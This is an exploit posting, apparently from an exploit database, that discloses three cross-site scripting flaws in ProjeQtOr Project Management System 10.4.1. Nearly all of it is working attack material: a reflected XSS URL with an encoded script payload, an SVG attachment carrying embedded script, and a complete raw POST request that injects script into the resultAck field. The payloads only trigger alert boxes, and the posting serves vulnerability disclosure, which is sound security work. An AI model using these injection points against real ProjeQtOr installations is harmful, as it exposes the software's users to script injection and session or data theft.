Exploit for ProjeQtOr Project Management System 10.4.1 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:173523
Exploit Title: ProjeQtOr Project Management System V10.4.1 - Multiple XSS  
Version: V10.4.1  
Bugs: Multiple XSS  
Technology: PHP  
Vendor URL: https://www.projeqtor.org  
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.4.1.zip/download  
Date of found: 09.07.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
  
### XSS-1 ###   
  
  
visit: http://localhost/projeqtor/view/refreshCronIconStatus.php?cronStatus=miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E&csrfToken=  
payload: miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E  
  
### XSS-2 ###  
  
steps:   
  
1. login to account  
2. go projects and create project  
3.add attachment  
3. upload svg file  
  
"""  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
"""  
4. Go to svg file ( http://localhost/projeqtor/files/attach/attachment_5/malas.svg )  
  
  
### XSS-3 ###  
  
Go to below adress (post request)  
  
POST /projeqtor/tool/ack.php?destinationWidth=50&destinationHeight=0&isIE=&xhrPostDestination=resultDivMain&xhrPostIsResultMessage=true&xhrPostValidationType=attachment&xhrPostTimestamp=1688898776311&csrfToken= HTTP/1.1  
Host: localhost  
Content-Length: 35  
sec-ch-ua:   
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36  
sec-ch-ua-platform: ""  
Accept: */*  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/projeqtor/view/main.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=r5cjcsggl4j0oa9s70vchaklf3  
Connection: close  
  
resultAck=<script>alert(4)</script>